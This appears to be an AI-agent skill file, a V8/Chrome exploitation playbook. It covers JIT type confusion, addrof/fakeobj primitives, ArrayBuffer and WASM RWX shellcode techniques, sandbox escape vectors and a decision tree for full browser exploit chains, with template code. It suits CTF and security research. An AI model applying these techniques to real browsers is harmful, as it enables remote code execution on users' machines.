SKILL: Browser / V8 Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
0. RELATED ROUTING
- sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
- heap-exploitation — general heap concepts applicable to V8 heap
- stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
- binary-protection-bypass — ASLR/NX bypass in browser context
Advanced Reference
Load V8_EXPLOITATION_PATTERNS.md when you need:
- Detailed exploitation patterns and code templates
- Heap layout manipulation and GC interaction
- V8 sandbox bypass techniques
- Object map confusion patterns
1. V8 ARCHITECTURE
Compilation Pipeline
JavaScript Source ↓ Parser AST (Abstract Syntax Tree) ↓ Ignition Bytecode (interpreted, profiling) ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1) Baseline code (fast startup) ↓ Maglev (mid-tier, V8 ≥ 10.2) Mid-optimized code ↓ TurboFan (optimizing JIT) Optimized machine code (with speculative optimizations) ↓ Deoptimization (if speculation fails) Back to Ignition bytecode
Key V8 Concepts
| Concept | Description |
|---|---|
| Tagged pointers | SMI (Small Integer): value << 1, HeapObject: ptr | 1 |
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
| Elements kinds | Internal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc. |
| Write barrier | GC bookkeeping when heap pointers are written |
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |
Object Representation (64-bit, pointer compression)
HeapObject in V8 heap (compressed): +0x00: Map pointer (compressed, 32-bit offset) +0x04: Properties/Hash +0x08: Elements pointer (compressed) +0x0C: Length (for arrays) +0x10: Inline properties or backing store data
2. COMMON V8 BUG CLASSES
| Bug Class | Description | Example |
|---|---|---|
| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | CheckBounds node eliminated → OOB access |
| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
| Typer Bug | Incorrect type range computation in TurboFan | Typer says value is in [0, N] but can be N+1 |
Triggering JIT Optimization
javascriptfunction vuln(arr) { // ... vulnerable code path ... } // Force optimization by calling many times for (let i = 0; i < 100000; i++) { vuln(arr); } // Or use V8 intrinsics (d8 only): %OptimizeFunctionOnNextCall(vuln); vuln(arr);
3. EXPLOITATION PRIMITIVES
addrof — Leak Object Address
javascript// Goal: get the raw heap address of a JavaScript object // Method: type confusion between object array and float array // If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS: // - Write object reference to element of object array // - Read same element as double from confused float array // - Float bits = compressed pointer of the object function addrof(obj) { // Setup depends on specific bug // Typically: trigger type confusion so array reads obj ref as float object_array[0] = obj; return ftoi(confused_float_array[0]); // float-to-int conversion }
fakeobj — Create Fake Object Reference
javascript// Goal: create a JS reference to an arbitrary heap address // Method: reverse of addrof — write float (raw pointer bits) to float array, // read from confused object array → treated as object reference function fakeobj(addr) { confused_float_array[0] = itof(addr); // int-to-float conversion return object_array[0]; // now a "pointer" to addr }
Building Arbitrary R/W from addrof + fakeobj
javascript// 1. Create a Float64Array with known layout let rw_array = new Float64Array(0x100); let rw_array_addr = addrof(rw_array); // 2. Fake a Float64Array object at controlled address with modified backing_store // 3. Corrupt backing_store pointer to target address // 4. Read/write through the fake Float64Array → arbitrary R/W function read64(addr) { // Set fake array's backing_store = addr write_to_fake_backingstore(addr); return fake_float64array[0]; } function write64(addr, value) { write_to_fake_backingstore(addr); fake_float64array[0] = value; }
4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
When TurboFan incorrectly eliminates bounds checks:
javascriptfunction trigger(arr, idx) { // TurboFan thinks idx is always < arr.length // But due to bug, idx can exceed bounds return arr[idx]; // OOB read } // OOB read adjacent memory (next heap object's metadata) // OOB write to corrupt next object's map/elements/length
What's Adjacent in V8 Heap?
Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
javascriptlet arr1 = new Array(0x10); // spray object let arr2 = new Float64Array(0x10); // target: adjacent to arr1 // OOB from arr1 can reach arr2's metadata // Corrupt arr2's length → unconstrained OOB on arr2
5. ARRAYBUFFER ARBITRARY R/W
ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
javascriptlet ab = new ArrayBuffer(0x100); let view = new DataView(ab); // If we can overwrite ab's backing_store pointer: // ab.backing_store = target_addr // view.getFloat64(0) → reads 8 bytes from target_addr // view.setFloat64(0, val) → writes to target_addr
V8 Sandbox (Pointer Compression) Impact
Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
ArrayBuffer.backing_storeis a sandbox pointer (within the V8 cage, 4GB region)- Cannot directly point outside the V8 cage
- Need sandbox escape to get full process memory access
6. WASM RWX PAGE
WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
javascript// Allocate WASM module → JIT compiles to RWX page let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]); let mod = new WebAssembly.Module(wasm_code); let instance = new WebAssembly.Instance(mod); // instance.exports.func → points to RWX page // If we can find and write to this page: // 1. addrof(instance) → find WASM instance object // 2. Follow pointers: instance → jump_table_start → RWX page // 3. Use arbitrary write to overwrite RWX page with shellcode // 4. Call instance.exports.func() → executes shellcode
Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.
7. V8 SANDBOX
Architecture (V8 ≥ 11.x)
Process Virtual Address Space: ┌──────────────────────────────────────┐ │ V8 Sandbox Cage (4GB region) │ │ ├── V8 Heap (JS objects) │ │ ├── ArrayBuffer backing stores │ │ ├── WASM memory │ │ └── External pointer table │ ├──────────────────────────────────────┤ │ Process memory outside cage │ │ ├── libc, Chrome code │ │ ├── Stack │ │ └── Other allocations │ └──────────────────────────────────────┘
Sandbox Escape Vectors
| Vector | Method |
|---|---|
| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
| JIT code corruption | Write to JIT code page via race condition or confused pointer |
| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
| Backing store seal bypass | Find type confusion to get unsandboxed pointer |
8. CHROME SANDBOX ESCAPE (OVERVIEW)
After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:
| Stage | Target | Example |
|---|---|---|
| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
| Browser process exploit | Privileged browser process | Code execution outside sandbox |
Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.
9. TOOLS
bash# V8 debugging d8 --allow-natives-syntax exploit.js # Enable V8 intrinsics (%DebugPrint, etc.) d8 --trace-turbo exploit.js # Dump TurboFan IR d8 --print-opt-code exploit.js # Print optimized machine code # Turbolizer: visual TurboFan IR graph # Chrome DevTools Memory panel: heap snapshots # Build V8 for debugging git clone https://chromium.googlesource.com/v8/v8.git gclient sync gn gen out/debug --args='is_debug=true v8_enable_sandbox=false' ninja -C out/debug d8
10. DECISION TREE
V8 vulnerability identified ├── Bug type? │ ├── JIT type confusion → trigger optimization, confuse array element kinds │ ├── Bounds check elimination → OOB read/write on array │ ├── Typer bug → incorrect range leads to OOB │ └── Builtin bug → direct memory corruption primitive │ ├── Build primitives │ ├── Can confuse object array ↔ float array? │ │ └── addrof + fakeobj → arbitrary R/W within V8 heap │ ├── OOB on array? │ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W │ └── Direct write primitive? │ └── Target WASM instance or ArrayBuffer metadata │ ├── V8 sandbox enabled? │ ├── YES (modern Chrome) → │ │ ├── R/W limited to V8 cage (4GB) │ │ ├── Need sandbox escape: external pointer table corruption, │ │ │ WASM code pointer overwrite, or Mojo bug │ │ └── Then proceed to shellcode execution │ └── NO (older V8, CTF, d8) → │ ├── Corrupt ArrayBuffer backing_store → absolute R/W │ └── Overwrite WASM RWX page → shellcode │ ├── Code execution method │ ├── WASM RWX page available? → write shellcode, call WASM func │ ├── JIT code writable? → overwrite JIT code │ └── ROP needed? → corrupt stack or return address │ └── Full browser exploit chain ├── Stage 1: V8 bug → renderer RCE ├── Stage 2: Mojo IPC bug → browser process compromise └── Stage 3: OS-level escalation (if needed)

